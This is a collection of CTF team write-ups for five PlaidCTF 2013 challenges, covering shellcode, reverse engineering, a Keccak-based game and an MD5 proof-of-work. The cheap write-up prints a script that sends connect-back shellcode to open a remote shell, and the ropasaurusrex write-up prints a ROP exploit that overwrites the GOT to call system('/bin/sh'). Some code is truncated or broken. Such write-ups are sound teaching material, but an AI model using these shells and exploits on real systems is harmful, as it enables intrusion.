cheap - PlaidCTF 2013

Posted by IdolfHatler on 06 May 2013

Challenge description:

What could this mysterious architecture be?
All of these are the same:
Note:Apparently GNU netcat doesn't support a half-duplex shutdown, so you should use OpenBSD netcat or connect using python or something for cheap.
The flag is not an architecture.
The goal is to get a shell

This challenge seemed to be inspired by the MysteryBox challenge from GitS 2013. The service allowed you to send it some machine code and it would then send you back a disassembling of the code and run the code on the server. The difference from the original challenge was, that the architecture was different and that not all instructions were accepted or even disassembled.

We soon noticed that 0x50-0x57 was push register instructions, that 0x58-0x5f was pop register instructions and that 0x68 was push immediate. This strongly suggested either i386 or amd64, but it was hard to test directly, since most instructions were disallowed. We initially assumed that it was i386 and started writing shellcode of the format:

    call start
    pop ebx
    mov dword [ebx+end-start],   SHELLCODE
    mov dword [ebx+end-start+4], SHELLCODE
    mov dword [ebx+end-start+8], SHELLCODE

This proved almost successful and we were able to debug our code by doing a SYS_exit, since the service would output the exit-code. However once we started doing more complex syscalls, we started getting error code not consistent with the syscall we tried to do.

Finally we realized that it was amd64 rather than i386. After the realization it was fairly trivial to create a connectback shell:

#!/usr/bin/env python

from pwn import *
from socket import SHUT_WR
context('amd64', 'linux', 'ipv4')

HOST = ""
PORT = 9010

MY_HOST = ''
MY_PORT = 1337

code = asm(shellcode.connectback(MY_HOST, MY_PORT))
while len(code) % 4:
    code += '\x90'

code2 = '''
    call start
    pop rbx

for n,word in enumerate(group(4, code)):
    code2 += 'mov dword [rbx + end - start + %d], %d\n' % (n*4, u32(word))

code2 += '''
r = remote(HOST, PORT, timeout=1)
r.sendafter('cheap\n', asm(code2))
print r.recvall()

Key: brodoyouevenx8664RISC

cone - PlaidCTF 2013

Posted by IdolfHatler on 06 May 2013

Challenge description:

Someone certainly has a sick sense of humor...
We believe a prisoner has left an encoded message in this program. Can you get it out for us?
Note: if you solved the version of this problem posted before 04:30 UTC (available [here](,
contact mserrano at freenode for verification of your key.

We started by stepping through the binary at random with gdb. The main function at 0x403dca seemed more or less linear -- it looped a bit around 0x404a5d-0x404c9f and again around 0x404d44-0x404fb0.

We noticed that fputc was only called from two layers of wrappers, with the outer wrapper being at 0x400864. This function is called at lot, but all the places looks something like this:

404624: 41 be 50 00 00 00   mov    r14d,0x50
40462a: 41 50               push   r8
40462c: 41 51               push   r9
40462e: 4c 89 f7            mov    rdi,r14
404631: 49 89 c7            mov    r15,rax
404634: e8 2b c2 ff ff      call   my_fputc
404639: 49 89 c6            mov    r14,rax
40463c: 4c 89 f8            mov    rax,r15
40463f: 48 83 c4 00         add    rsp,0x0
404643: 41 59               pop    r9
404645: 41 58               pop    r8

However, we also notice, that this function is only called from three places:

From 0x404624 to 0x4049f6 it outputs "Please enter your password: " From 0x40576f to 0x405903 it outputs "Correct!\n" From 0x40593a to 0x405a72 it outputs "Wrong!\n"

We see that just before the correct path there is a comparison, which conditionally will take us to the wrong-path:

405751: 4c 8b 7d a8         mov    r15,QWORD PTR [rbp-0x58]
405755: 4c 89 7d a0         mov    QWORD PTR [rbp-0x60],r15
405759: 44 8b 7d a0         mov    r15d,DWORD PTR [rbp-0x60]
40575d: 41 83 ff 00         cmp    r15d,0x0
405761: 0f 84 cb 01 00 00   je     wrong_branch

We notice that [rbp-0x58] is set to 0 just after the second loop at 0x404fb0 and is only set to 1 after that at 0x405736, and that this branch can only be reached if the lower 4 bytes of 9 qwords stored on the heap (pointer at [rbp-0x50]) are the following magic values:


By running the binary with different passwords and looking at the bytes, we notice the pattern, that only 8 bits are altered for each byte of the password. While the relation is likely simple, we see that we have enough information to brute-force the password and start writing some hackish gdb-shell-python hybrid.

Key: plssendhelpiminastack_machine

kavihk - PlaidCTF 2013

Posted by br0ns on 06 May 2013

(We didn't solve this challenge during the CTF because too much derp)

Challenge description:

HINT FOR KAVIHK: There is a bruteforce of much less than a billion things.
HINT FOR KAVIHK: You do not need to hand-optimize math, and my solution runs in under 5 min on my laptop. 


Apparently `Another Visit In Hell' is an ncurses based rougelike game. We are given a modified version as a 32bit stripped ELF. To win the game you have to survive 8 circles of hell.

The code is pretty daunting at first but noticing the string WIN ...but no flag for you. at address 0x804b730 and searching for references to it lands us in a function (let's call it `win') at address 0x8049581. The function is only called from one place:

804997b:       a1 b0 49 05 08          mov    eax,ds:0x80549b0
8049980:       83 f8 09                cmp    eax,0x9
8049983:       75 07                   jne    804998c
8049985:       e8 f7 fb ff ff          call   8049581
804998a:       eb 05                   jmp    8049991
804998c:       b8 4f b7 04 08          mov    eax,0x804b74f

We notice two things: 1) there's a comparison to 9 which fits well with the goal of the original game to go through 8 circles (thus reaching the 9th), and 2) the string at 0x804b74f is "kavihk" which the game prints (among other things) in a status line.

So the assumption is that we have to win the game in a certain way and we'll see the flag in the status line. So let's have a look at the `win' function.

The function starts with a loop which is executed 30 times:

8049589:       c7 44 24 10 08 00 00 00    mov    DWORD PTR [esp+0x10],0x8
8049591:       8d 45 f7                   lea    eax,[ebp-0x9]
8049594:       89 44 24 0c                mov    DWORD PTR [esp+0xc],eax
8049598:       c7 44 24 08 00 00 00 00    mov    DWORD PTR [esp+0x8],0x0
80495a0:       c7 44 24 04 00 00 00 00    mov    DWORD PTR [esp+0x4],0x0
80495a8:       c7 04 24 c0 49 05 08       mov    DWORD PTR [esp],0x80549c0
80495af:       e8 f1 0b 00 00             call   804a1a5
80495b4:       85 c0                      test   eax,eax
80495b6:       74 0c                      je     80495c4
80495b8:       c7 04 24 01 00 00 00       mov    DWORD PTR [esp],0x1
80495bf:       e8 48 f1 ff ff             call   804870c <exit@plt>
80495c4:       a1 14 cb 04 08             mov    eax,ds:0x804cb14
80495c9:       8b 15 14 cb 04 08          mov    edx,DWORD PTR ds:0x804cb14
80495cf:       0f b6 8a d0 ca 04 08       movzx  ecx,BYTE PTR [edx+0x804cad0]
80495d6:       0f b6 55 f7                movzx  edx,BYTE PTR [ebp-0x9]
80495da:       31 ca                      xor    edx,ecx
80495dc:       88 90 d0 ca 04 08          mov    BYTE PTR [eax+0x804cad0],dl
80495e2:       a1 14 cb 04 08             mov    eax,ds:0x804cb14
80495e7:       83 c0 01                   add    eax,0x1
80495ea:       a3 14 cb 04 08             mov    ds:0x804cb14,eax
80495ef:       a1 14 cb 04 08             mov    eax,ds:0x804cb14
80495f4:       83 f8 1d                   cmp    eax,0x1d
80495f7:       76 90                      jbe    8049589

First there's a call some_func(&foo, 0, 0, &c, 8), then the character that we passed the address to as the 4th argument is xor'ed into the bytes starting at address 0x804cad0. A team member recognized the some_func as the KeccaK (SHA-3 finalist) sponge function (now the name of the challenge makes sense).

The sponge function (which is called `Duplexing') takes as arguments; an internal KeccaK state, an input buffer, the size of the input buffer (in bits), an output buffer, and the size of the output buffer (also in bits). So the loop we saw before extracts 30 bytes, one byte at a time.

After the loop, the xor'ed bytes are examined; if there are underscores in five particular places and the last byte is zero, then a pointer to the bytes is returned. Else the win-but-no-flag string is returned.

Now it's clear what we must do: get the right input to the sponge function in order to decrypt the flag. So how is the function called? This gdb script sets a breakpoint on the last instruction of `Duplexing' and prints out the arguments it was called with. If there was input or output, that is printed (hex encoded) as well.

b *0x0804A3B5
  set $ibuf=((char**)$sp)[2]
  set $inum=((int*)$sp)[3]
  set $obuf=((char**)$sp)[4]
  set $onum=((int*)$sp)[5]
  printf "Duplexing(&st, 0x%08x, %d, 0x%08x, %d)\n", $ibuf, $inum, $obuf, $onum
  if $ibuf != 0
    set $i=0
    printf "  Input : "
    while $i * 8 < $inum
      printf "%02x", (unsigned char)$ibuf[$i]
      set $i=$i + 1
    echo \n
  if $obuf != 0
    set $i=0
    printf "  Output: "
    while $i * 8 < $onum
      printf "%02x", (unsigned char)$obuf[$i]
      set $i=$i + 1
    echo \n
  echo \n

Now we start the game with `gdbserver' attached:

gdbserver localhost:2345 ./kavihk

and connects `gdb':

gdb -x kavihk.gdb
  (gdb) target remote localhost:2345
  (gdb) continue

After playing around a bit we see that the function is called four times when we go one circle down in the game:

Duplexing(&st, 0x080549b0, 32, 0x00000000, 0)
  Input : 00000000

Duplexing(&st, 0x0804cabc, 32, 0x00000000, 0)
  Input : 12000000

Duplexing(&st, 0x08054aa8, 32, 0x00000000, 0)
  Input : 00000000

Duplexing(&st, 0x00000000, 0, 0xffffd04c, 32)
  Output: 7d77ab13

The first three calls input 4 bytes of data each, and the fourth extracts four bytes. From looking at the game's status line We see that the first call inputs the circle we going to (zero indexed), the second inputs our maximum health, and the third inputs the amount of gold we have. From playing some more we also learn that there are two health items (we call them hearts), and two gold pieces in each circle and that our max health and gold increases by the number of the circle (one indexed this time) we are in per picked up item. I.e a gold piece on level 4 increases our gold by 4.

(We got this far during the CTF, but have later confirmed that there are in fact always two hearts and two gold pieces on each level, and that they are always worth as much as the number of the circle we are in.)

With 2 hearts and 2 gold pieces on each level there are 3^16 different ways to complete the game. That's 43046721 which we should be able to brute force. A quick Google search gives us the KeccaK source, and after some number crunching we get,

Level 1: 1 heart, 0 gold
Level 2: 2 heart, 1 gold
Level 3: 2 heart, 0 gold
Level 4: 2 heart, 1 gold
Level 5: 1 heart, 0 gold
Level 6: 0 heart, 0 gold
Level 7: 1 heart, 1 gold
Level 8: 1 heart, 1 gold
Key: b2ute_f0rce_1s_7he_b3st_f0rce

A nice challenge, too bad we derp'ed too much during the CTF. (The mistake was to use KeccaK in a wrong configuration.)

ropasaurusrex - PlaidCTF 2013

Posted by kriztw on 06 May 2013

Challenge description:


Download binary

Download libc

Looking at the challenge description, this challenge seems to be about feeding ducks or, more likely, return-oriented-programming. Looking at the files we quickly confirmed that it was the latter, as we are met with a very short 32bit Linux binary and a version of libc.

The binary is a bit funky, and it is hard to see which parts are interesting at first. When you run the program it's easy to see that the program only reads and writes once, which is probably where the interesting stuff happens:

  80483f4:   55                      push   ebp
  80483f5:   89 e5                   mov    ebp,esp
  80483f7:   81 ec 98 00 00 00       sub    esp,0x98
  80483fd:   c7 44 24 08 00 01 00    mov    DWORD PTR [esp+0x8],0x100
  8048404:   00
  8048405:   8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
  804840b:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
  804840f:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
  8048416:   e8 11 ff ff ff          call   804832c <read@plt>
  804841b:   c9                      leave
  804841c:   c3                      ret

This is a very simple buffer overflow, so the only problem now is to generate ROP to gain a shell. We only have the symbols read and write from libc and no other interesting gadgets to speak of, so our possibilites are limited, but we do have one possible strategy:

1. Write the address of `write` in libc from the GOT
2. Calculate offset to `system` for their version of libc.
3. Read '/bin/sh' into the .data segment, which has W privileges
4. Read the calculated `system` address into the GOT where `write` is located
5. Call `write` (now `system`) with a pointer to .data as the argument

First we need to grab the relevant symbols (write and system) from their libc (and our own for local testing):

$ readelf -s /lib/i386-linux-gnu/ | grep ' system@'
  1422: 0003f430   141 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
$ readelf -s /lib/i386-linux-gnu/ | grep ' write@'
  2265: 000de4c0   128 FUNC    WEAK   DEFAULT   12 write@@GLIBC_2.0
$ echo "Local offset:" $((0x3f430-0xde4c0))
Local offset: -651408
$ readelf -s | grep ' system@'
  1399: 00039450   125 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
$ readelf -s | grep ' write@'
  2236: 000bf190   122 FUNC    WEAK   DEFAULT   12 write@@GLIBC_2.0
$ echo "Remote offset:" $((0x39450-0xbf190))
Remote offset: -548160

We also need to chain the calls properly with pop-ret gadgets. Luckily we have a library which handles this for us, so the rest of the exploit is straight forward:

#!/usr/bin/env python
from pwn import *
context('i386', 'linux')


rop = ROP('ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d')

overflow = (0x88 + 4) * 'A''write', [1,['write'], 4])'read', [0, '.data', 8])'read', [0,['write'], 4])'write', '.data')
rop_chain =  rop.generate()

sploit = overflow + rop_chain + (0x100 - len(overflow + rop_chain)) * 'A' #+ '/bin/sh' + '\x00' + p32(0xf7e4e430)

# Remote
#system_write_offset = -548160
#proc = remote('', 1025)

# Local
system_write_offset = -651408
proc = process('./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d')


# Calculate system addr in libc
write_addr = [x[2:] for x in map(hex, map(ord, proc.recv()))]
system = int(flat(write_addr),16) + system_write_offset


Key: youcantstoptheropasaurusrex

Prove It - PlaidCTF 2013

Posted by anonymous on 06 May 2013

Challenge description:

We've been reading about bitcoins --
Hint: The answer isn't brute forcing.


After looking at the Python script for a bit, without finding any obvious vulnerabilities, we connected to the service to get a MD5 prefix:

$ nc 9001
Free Key Distribution Service
Welcome! I am more than happy to give you a key, but you must first prove you did some work!

MD5 Prefix: 66203c461b36a
Enter string:
  Wrong! :\

After connecting to the service a couple of timeis we noticed that the MD5 prefix was changing, so we developed the following Perl script to see if it was possible to figure out what kind of strings the MD5 prefixes derived from:


use Digest::MD5 qw(md5_hex);

$filename   = "all";
$prefix     = $ARGV[0];

open(FH, "< ".$filename);
while($word = <FH>) {
  $word =~ s/[\r\n]//g;

  if($prefix eq substr(md5_hex($word),0,13)) {
    print "Prefix: ".$word."\n";


print STDERR "Error: Unknown prefix.\n";

With the abovementioned script and a wordlist we were able to bruteforce the string that the MD5 prefix derived from:

$ ./ 66203c461b36a
Prefix: protocols

With the succesful bruteforcing attempt in mind we developed the following Perl script:


use IO::Socket::INET;
use IPC::Run qw(run);

$ip             = "";
$port           = "9001";
$protocol       = "tcp";

for(;;) {
  if(!($socket = new IO::Socket::INET(
    "PeerAddr"  => $ip,
    "PeerPort"  => $port,
    "Proto"     => $protocol,
    "Timeout"   => 2
  ))) {
    print STDERR "Error: Unable to connect to IP \"".$ip."\" at \"".$port."/".$protocol."\"\n";


  for(;;) {
    for(;;) {
      $socket->recv($string, 65535);

      if(($flag) = $string =~ /FLAG: (.+)/) {
        print "\nFlag: ".$flag."\n";

      elsif(($prefix) = $string =~ /MD5 Prefix: ([\da-f]{13})\n/) {

    @cmd = (

    eval {
      run \@cmd,\$in,\$out,\$err

    if($err eq "Error: Unknown prefix.\n") {
      print "Warning: Unable to find the word derived from MD5 prefix \"".$prefix."\".\n";


    ($word) = $out =~ /^Prefix: (.+\n)$/;
    print "MD5 Prefix: ".$prefix.". Word: ".$word;


The following is the output from running the abovementioned script:

$ ./
MD5 Prefix: d014a047716ad. Word: retoucher
MD5 Prefix: b58a2074db806. Word: crudities
MD5 Prefix: 71ca321df9efa. Word: verifiable
MD5 Prefix: 8a99ccb2fbbc6. Word: alterman
MD5 Prefix: 5e15282ba3014. Word: coverer
MD5 Prefix: 889887d4a1745. Word: eking
MD5 Prefix: ff62266ce9f97. Word: famishment
MD5 Prefix: 9928c88a12353. Word: egress
MD5 Prefix: ad8437d4bf608. Word: applied
MD5 Prefix: 5001324b60b25. Word: gestation
MD5 Prefix: 854c1c9bb71f6. Word: indiscrete
MD5 Prefix: 14c9bd26bf156. Word: tace
MD5 Prefix: dae7d4d46fc4f. Word: terrorist
MD5 Prefix: b6f697830c192. Word: stipellate
MD5 Prefix: f549fe6806d0b. Word: prednisone
MD5 Prefix: ba664e16dd3d8. Word: noons
MD5 Prefix: 05e497be99c28. Word: decibels
MD5 Prefix: 07214c6750d98. Word: entities
MD5 Prefix: 2820f157e9753. Word: paradisiacal
MD5 Prefix: 65ef4dc83456a. Word: castellated
Flag: ricky_mad3_m3_chang3_th3_k3y